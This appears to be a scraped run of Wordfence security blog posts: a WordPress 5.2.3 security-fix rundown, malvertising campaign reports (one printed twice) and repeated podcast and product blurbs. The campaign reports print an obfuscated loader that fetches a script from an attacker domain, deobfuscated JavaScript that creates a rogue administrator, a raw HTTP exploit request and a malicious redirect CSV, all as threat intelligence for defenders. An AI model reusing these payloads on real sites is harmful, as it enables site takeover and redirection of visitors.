WordPress core version 5.2.3 has just been released. This is a security release which contains several fixes. I’m going to detail each of them below and unpack what each fix means and add any additional info that may be relevant.

Seven of the eight vulnerabilities fixed in this release are cross site scripting (XSS) vulnerabilities. Wordfence includes robust XSS protection in our free and Premium versions which will prevent exploitation of these vulnerabilities. The eighth is an open redirect vulnerability our team is monitoring to determine impact.

WordPress 5.2.3 Security Updates by the Numbers

This release contains eight security fixes which include seven XSS vulnerabilities and an open redirect. As a reminder, an XSS vulnerability is code that allows an attacker to send malicious output to a victim when they visit a website. This can happen because an attacker caused the site to store malicious data which is displayed later to a victim visitor (a stored XSS) or it can happen when an attacker crafts a link that displays malicious code when a victim visits that URL on a website (a reflected XSS).

If you’d like to go deep on cross site scripting (XSS), then visit our learning center article which explains exactly how cross site scripting vulnerabilities are created in PHP code.

This release arrived yesterday evening, so we are expecting full details of each of these vulnerabilities to be released by the researchers some time after the core release. This follows standard disclosure policy and gives WordPress users time to upgrade. In the meantime we will describe what we know about each vulnerability.

1. Cross Site Scripting in Post Previews by Contributors

This is a stored XSS. In examining a diff of the code changes, it appears that there was a stored XSS in the post-status field. That is, the field that stores the current status of a WordPress post. That field does not use a fixed list of possible values like a MySQL ‘enum’ data type, but rather reads the text value of the drop-down list and uses that.

This allows an attacker to create their own value for post-status and use that in a cross site scripting attack.

This is what the code diff looks like in post.js where the fix was implemented:

The attack vector in this case is that a contributor may be able to inject malicious code into post-status, which would then be viewed by a site admin with much higher privileges. That code would be executed by the admin with their privileges and the contributor, who is actually an attacker, would gain admin privileges by using the admin’s permissions to perform various actions.

Our team also speculates that this may be exploitable via malicious language packs, although we have not verified that attack vector.

This vulnerability was discovered by Simon Scannell of RIPS Tech.

2. Cross Site Scripting Vulnerability in Stored Comments

This appears to be a stored XSS and the announcement doesn’t provide any caveats with regards to user permissions. This is worrying because it suggests there is a stored XSS that affects the WordPress commenting system. This alone should strongly encourage users to upgrade ASAP.

The attack vector here would be an attacker posting a comment on a WordPress site and then someone with higher privileges like an admin viewing or moderating the comments and having code executed in their browser which could create a new admin user for the attacker.

This was also reported by Simon Scannell of RIPS.

3. Validation and Sanitization of a URL Leads to Open Redirect

An open redirect vulnerability is one that is often used in phishing campaigns. The vulnerability occurs when a website gives external users the ability to craft URLs that will redirect a visitor from the vulnerable website to any other URL.

In phishing attacks, an attacker will email a victim with the goal of getting them to click on a link. The link is to a trusted website which the victim recognizes. The attacker clicks on the link and one of several scenarios play out.

In a first scenario, the victim is taken directly to a malicious website where a vulnerability in their browser may be exploited.

In a second scenario, the victim may be asked to sign in to the legitimate website and is then directed to a malicious website where they may be asked to reenter their credentials. They may, for example, see a failed login screen and not realize they have been redirected. At this point their credentials are stolen.

In a third scenario, a victim may be redirected to a spam website after they clicked a link that was a URL to a trusted website with an open redirect.

There are many ways for attackers to exploit an open redirect and the severity of this vulnerability type should not be underestimated.

This vulnerability was disclosed by Tim Coen.

4. Reflected Cross Site Scripting During Media Uploads

This is another XSS which occurs during media uploads. In this case a user with lower privileges will upload media to the WordPress site which includes malicious code. This code would then be executed in the context of another user’s browser – and that user would have higher privileges.

In examining the code diff, it appears that until now, if you could jam an XSS payload into a media upload filename, this would result in an XSS. WordPress 5.2.3 no longer allows that attack vector.

This vulnerability was disclosed by Anshul Jain.

5. XSS in Shortcode Previews

Another XSS was fixed in the shortcode preview system. This vulnerability would allow a malicious user with lower privileges to inject code in a shortcode that, when previewed, would be executed in another user’s browser. If that user has higher privileges then the attacker may be able to perform actions as that user.

This vulnerability was discovered by Zhouyuan Yang.

6. XSS in the WordPress Dashboard

Ian Dunn from the WordPress Core security team discovered an XSS vulnerability in the WordPress dashboard. This vulnerability is a reflected XSS, which means that data is not stored, but rather is reflected back to a victim by an attacker. An example of this is if an attacker crafts a malicious link to the WordPress dashboard which causes their attack code to be executed in the browser context of the victim.

Full details of this vulnerability are not available yet, but what may be feasible here is for an attacker to provide a victim with a link to their own WordPress site dashboard. When the victim clicks the link, they visit their own site dashboard and actually execute malicious code, thereby granting the attacker access to their site. The malicious code may create an admin account, modify site content or perform other nefarious actions.

7. URL Sanitization XSS

Soroush Dalili from NCC Group disclosed an XSS vulnerability caused by URLs not being sanitized correctly.

8. jQuery Updated in Older WP Versions to Fix an XSS

jQuery is a javascript library used extensively by WordPress core and plugins and themes. A cross site scripting vulnerability was discovered in jQuery.extend and was fixed in jQuery 3.4.0.

WordPress uses it’s own WP specific version of jQuery. This fix in jQuery 3.4.0 which is detailed on the jQuery site in the changelog, was backported in to the WordPress version of jQuery. That version is listed as jQuery v1.12.4 in the source code comments. And they’ve updated the WordPress jQuery code without incrementing that version number.

Additional Notes

Change in edit-form-blocks.php

We also noticed a change in /wp-admin/edit-form-blocks.php which has switched from using file_exists() to is_file() in a conditional statement. Here is the diff:

When PHP is configured with “allow_url_fopen=On”, certain versions of PHP will allow the file_exists() function to fetch a URL. So this may also be part of a security fix or improvement.

Change in wp-sanitize.js

We noticed that this sanitization routine now includes recursion which will continue to sanitize text until the text no longer changes. It also uses textarea.textContent instead of textarea.innerHTML in the new version. Here is the diff:

What to do Next

At the risk of stating the obvious, update as soon as possible. This is a minor WordPress release, which means that most sites will automatically update.

If you’re running a high traffic production website with a dev/staging/production workflow involving a QA team, you probably need to run 5.2.3 on staging, let your QA team pound on it and then once they have worked through any issues, push to production. This takes time, but considering these vulnerabilities, I would recommend prioritizing this release over other projects.

The researchers who contributed these vulnerabilities to the core dev team will likely be releasing full details of each vulnerability fairly soon now that the core release is out. My guess is that the more professional researchers will release details in a week or two and others may release sooner. Once the details are out, these vulnerabilities are fully exploitable by anyone.

However, it’s worth noting that these vulnerabilities may become exploitable before details are released. The data released so far paints a bullseye on several areas of code in WordPress core, and by looking at a code diff, attackers can reverse engineer these vulnerabilities and develop exploit code themselves. For this reason, I strongly recommend that you update to 5.2.3 as soon as possible if you aren’t automatically updated.

In Closing

We’d like to congratulate the researchers who contributed fixes to WordPress core and express our appreciation to them for following responsible disclosure guidelines. Also thanks to the WP core team for implementing these fixes and helping keep the WordPress community safe.

You can find the official announcement of the WP 5.2.3 release on this page. If you have any questions or comments, please don’t hesitate to post them below and we’ll do our best to answer them in a timely manner. If you are one of the researchers whose work is included above and would like to provide additional detail or corrections, we welcome your comments.

Mark Maunder.

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

• Bold Page Builder
• Blog Designer
• Live Chat with Facebook Messenger
• Yuzo Related Posts
• Visual CSS Style Editor
• WP Live Chat Support
• Form Lightbox
• Hybrid Composer
• All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

• yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
• adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

• 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

• Bold Page Builder
• Blog Designer
• Live Chat with Facebook Messenger
• Yuzo Related Posts
• Visual CSS Style Editor
• WP Live Chat Support
• Form Lightbox
• Hybrid Composer
• All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

• yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
• adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

• 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

Bill Rice is the CEO of Kaleidico, a digital agency in Michigan. We chatted at WordCamp Minneapolis about WordPress and the community, and his work creating websites that convert. Bill spoke at WordCamp Minneapolis about trends in WordPress website design that allow businesses to deeply engage with site visitors. Mobile browsing has changed the way users interact with the web on all devices, including desktop. In this episode, Bill tells us how this shift creates new opportunities to design compelling digital experiences.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

You can find Bill on Twitter as @billrice and at kaleidico.com. You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Bill Rice is the CEO of Kaleidico, a digital agency in Michigan. We chatted at WordCamp Minneapolis about WordPress and the community, and his work creating websites that convert. Bill spoke at WordCamp Minneapolis about trends in WordPress website design that allow businesses to deeply engage with site visitors. Mobile browsing has changed the way users interact with the web on all devices, including desktop. In this episode, Bill tells us how this shift creates new opportunities to design compelling digital experiences.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

You can find Bill on Twitter as @billrice and at kaleidico.com. You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Over the past few weeks, our Threat Intelligence team has been tracking an active attack campaign targeting a selection of new and old WordPress plugin vulnerabilities. These attacks seek to maliciously redirect traffic from victims’ sites to a number of potentially harmful locations.

Each of the vulnerabilities targeted by this campaign have been public for some time, and Wordfence users are protected either by individual firewall rules or generic protections built into the plugin. Two of the vulnerabilities in question have firewall rules which are currently available to Premium users only:

• NicDark Plugins – Unauthenticated Arbitrary Options Update
  • Though several individual plugins are affected, the vulnerability is the same across each and they are covered by a single firewall rule.
  • Affected plugin slugs are prefixed with nd-. Example plugins include Components For WP Bakery Page Builder (slug: nd-shortcodes), Booking (slug: nd-booking, Travel Management (slug: nd-travel), etc.
  • Firewall rule released for Premium users on July 30, 2019
  • Available for Free users starting August 29. 2019
• Simple 301 Redirects Addon – Bulk Uploader <= 1.2.5 – Unauthenticated Options Update
  • Firewall rule released for Premium users on August 6, 2019
  • Available for Free users starting September 5, 2019

Each of these plugins have updates available which resolve the vulnerabilities. All WordPress users, regardless of firewall status, are advised to keep their plugins up-to-date at all times.

In today’s post we’ll look at the attacks associated with this campaign, and we’ll provide some useful indicators of compromise (IOCs) to assist in identifying similar activity.

Attacks Against NicDark Plugins

The vulnerabilities recently patched in plugins developed by NicDark are all exploited by very similar AJAX requests. In each case the plugin registers a nopriv_ AJAX action, which is accessible even by unauthenticated visitors, responsible for importing various WordPress settings. In these requests, key->value pairs of WordPress options and values are parsed out and applied directly to the affected site’s database.

For example, the following POST request is an attempt to attack the Travel Management plugin:

POST /wp-admin/admin-ajax.php?nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Range: bytes=0-1000000
Connection: keep-alive
Host: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 204

action=nd_travel_import_settings_php_function&nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1%26%5Bnd_travel_end_option%5D

In each case, the targeted plugin must be declared in both the action parameter and the GET query string parameter defining the new option values, such as this example’s nd_travel_value_import_settings.

Because these vulnerabilities allow unauthenticated users to modify arbitrary WordPress options, it’s possible for attackers to enable registration as an Administrator user. However, we don’t see that behavior associated with this attack campaign. Instead, as seen in the sample request above, the attackers are modifying the siteurl setting of the victim’s site. In this case, the new value is https://jackielovedogs.com/pret.js?l=1. A subsequent request would then make the same change for the home setting.

The result of this modification is that all of the victim site’s scripts will attempt to load relative to that injected path. For example, instead of a site’s jQuery script loading from https://example.com/wp-includes/js/jquery/jquery.js, it would instead cause the visitor’s browser to open the URL https://jackielovedogs.com/pret.js?l=1/wp-includes/js/jquery/jquery.js. In effect, this replaces all of a site’s loaded JavaScript with a file under the attacker’s control.

Attacks Against Simple 301 Redirects Addon – Bulk Uploader

The other most common attack vector we’ve tracked in this campaign is the Simple 301 Redirects – Addon – Bulk Uploader plugin, which recently patched a vulnerability allowing unauthenticated attackers to inject their own 301 redirect rules onto a victim’s site.

Vulnerable versions of the plugin would constantly listen for the presence of the POST body parameter submit_bulk_301. If this value is present, an uploaded CSV file would be processed and used to import a bulk set of site paths and their redirect destinations.

The following is an example of the CSV files attackers are attempting to upload:

/,https://developsincelock.com/54768?
*,https://developsincelock.com/5868?
/*,https://developsincelock.com/34234?

When a vulnerable site processes this CSV, the site will begin redirecting all of its traffic to the addresses provided.

Other Targeted Plugins

In addition to the primary two above, we have identified related attacks against a number of other formerly-vulnerable plugins, including (but not limited to):

• Woocommerce User Email Verification
• Yellow Pencil Visual Theme Customizer
• Coming Soon and Maintenance Mode
• Blog Designer

Payload Behavior Analysis

The domains used by the attackers in performing these script injections and redirects rotate with some frequency. New domains appear every few days, and attacks involving older domains taper off. We provide a list of the domains we’ve identified in the IOC section below.

At this time, many of the redirect domains associated with these attacks appear to have been decommissioned, despite the fact that these domains still show up in active attacks at the time of this writing. For example jackielovedogs.com, which appeared in the example request in the ND plugin section above, appears to have been reclaimed by Registrar.eu, a reseller name used by ICANN registrar Openprovider.

Further analysis of this campaign’s long-term behavior is ongoing, and we will provide a followup report as necessary.

Indicators of Compromise (IOCs)

The following IOCs can be used in the process of identifying or tracking activity associated with this campaign.

IP Addresses

The attacks are distributed across a large number of IPs. The top 20 IPs associated with this campaign are listed below. Additionally, addresses listed in bold text appear in the list of IPs Attacking Most Sites as seen in the most recent Wordfence Weekly.

1. 192.99.38.186
2. 51.38.69.87
3. 62.210.252.196
4. 164.132.44.97
5. 159.203.81.46
6. 217.182.95.250
7. 51.255.43.81
8. 37.187.198.246
9. 54.36.246.232
10. 45.55.152.56
11. 198.199.100.240
12. 162.241.175.243
13. 188.213.175.168
14. 45.40.143.13
15. 188.213.166.219
16. 192.169.227.95
17. 193.70.2.138
18. 149.202.75.164
19. 192.169.157.142
20. 104.238.97.201

Domain Names

• greatinstagrampage.com
• gabriellalovecats.com
• jackielovedogs.com
• tomorrowwillbehotmaybe.com
• go.activeandbanflip.com
• wiilberedmodels.com
• developsincelock.com

Conclusion

An active campaign is targeting a number of vulnerabilities in attempts to redirect victim sites’ visitors to potentially harmful destinations. The vulnerabilities in question have all been patched by their developers, so ensure all of your WordPress plugins are up to date. Wordfence Premium users who are unable to update are protected from all of these attacks, while Free users will gain access to these rules in the coming weeks.

Our investigation into these attacks is ongoing. We will continue to track further changes in the campaign’s infrastructure and will provide followup reports as necessary.

As always, please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

As of WordCamp Boston 2019, Sandy Edwards has organized 26 KidsCamps across the US. We talk about what kids do at a WordPress KidsCamp, the success these kids have had publishing with WordPress, and how Sandy teaches basic internet safety and security to the next generation of WordPress users. Sandy is an organizer at WordCamp Orlando as well as a homeschooling mom, and she runs a digital agency helping small businesses benefit from data-driven marketing.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

You can find Sandy on Twitter as @sunsanddesign and at datadrivenlabs.io. You can find Mark on Twitter as @mmaunder and Kathy as @kathyzant.

Today we are launching a version of Wordfence containing a new feature for sites on hosting providers with read-only file systems such as WP Engine or for environments where multiple web servers are behind a load balancer. This new feature uses a MySQL storage engine for firewall attack data to protect WordPress sites in complex hosting environments.

For most sites, Wordfence uses the file system to store data about attacks. Writing attack data to the file system is the most efficient method of doing so, and if a site allows for file access, your Wordfence plugin will continue to use this method.

WP Engine’s File System Locking

One of WP Engine’s security features only allows write access to the filesystem when a WordPress administrator is logged in. When there is no active administration session, the file system is read-only. This is a great security feature to limit file changes when no authenticated user is working on the site. However it limits the ability for certain plugins to work optimally, such as Wordfence.

In cases like this where file system access is not allowed, the new Wordfence MySQL storage engine allows WP Engine users to leverage Wordfence’s unparalleled protection for WordPress.

Load Balancers are now supported

In load balanced environments, state is not maintained on individual WordPress servers. This prevents Wordfence from using a file-based storage scheme for the firewall. The new Wordfence MySQL storage engine solves this by allowing a load balanced site to maintain state across multiple web servers, using MySQL as a central storage system.

Wordfence customers can now deploy Wordfence in their load balanced environments and scale their web server cluster horizontally while benefiting from Wordfence protection for the entire installation. We have many larger customers who are very excited about this new feature.

Wordfence MySQL Storage Engine FAQ

As we are sure you have questions, we wanted to provide some answers to determine what this means for your sites.

Q: I’m not using WP Engine. What changes do I have to make?
Nothing will change, and you won’t have to change anything. Wordfence will continue to work exactly as it always has on your site. In fact, we recommend you don’t change anything. This new feature is an accommodation for complex environments only. There are no new settings that you need to adjust.

Q: I’m installing Wordfence on a site at WP Engine. What do I have to do?
Site owners do not have to change anything. Wordfence will detect your WP Engine installation and make the required configuration change to activate the MySQL storage engine for the firewall

Q: I have a site hosted behind a load balancer. What do I need to do?
In order to have the MySQL storage engine enabled in load balanced environments, a constant will need to be changed in the Wordfence environment.

To configure the WAF to use the MySQL storage engine, you would need to add define(‘WFWAF_STORAGE_ENGINE’, ‘mysqli’); to the top of your site’s wordfence-waf.php in Extended Protection mode. Our documentation details how to do this.

Q: How will this change performance of Wordfence?
There are no changes in performance for either the Wordfence firewall or scan engine. This new feature only changes how the recording of attacks are stored for sites on WP Engine or load balanced servers. Performance will not be affected.

Q: Do I have to use Wordfence Premium to use the MySQL storage engine?
The MySQL storage engine is completely free. It is available for users running Wordfence Premium and our free community customers. That means that both the free and Premium versions of Wordfence will now be supported on WP Engine.

Q: Anything else we should know?
WP Engine needs to make a change on their end once we release this version of the plugin to ensure that Wordfence is fully supported. There may be a brief delay while they make this change, so please be patient. If you are trying to enable Wordfence on WP Engine and are having trouble, please contact their support team. We are working directly with WP Engine and they are able to reach out to us in case we need to provide assistance.

If you are using a load balanced environment and need help enabling this new feature, please don’t hesitate to reach out to our support team either via our ticketing system for Premium customers, or via our public forums if you are a free customer.

We welcome your feedback about Wordfence’s MySQL storage engine and how Wordfence supports your security on WP Engine and load balanced WordPress environments.

All product names, trademarks and registered trademarks are property of their respective owners. All company, product and service names used in this post are for identification purposes only. Use of these names,trademarks and brands does not imply endorsement.

A recent discussion among WordPress core developers about removing support for code signing in core caught our attention. Code signing support was included with the WordPress 5.2 release. The discussion centers around removing code signing and implementing SSL verification and hashes to verify code integrity. In this week’s episode we chat about the history behind the vulnerability found by Wordfence’s Matt Barry, which is what motivated the addition of code signing to WordPress core. We review several high profile supply chain attacks and discuss how SSL and hashes would not protect against a sophisticated attack on WordPress core servers.

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast. Subscribe to our RSS feed.

Some sources we reference in this week’s episode include:

• The discussion on make.wordpress.org.
• The trac ticket update to the initial campaign for securing WordPress against infrastructure attacks.
• Scott Arciszewski’s analysis of Server-Side HTTP Requests for WordPress developers.
• Matt Barry’s discovery of a vulnerability in WordPress infrastructure.
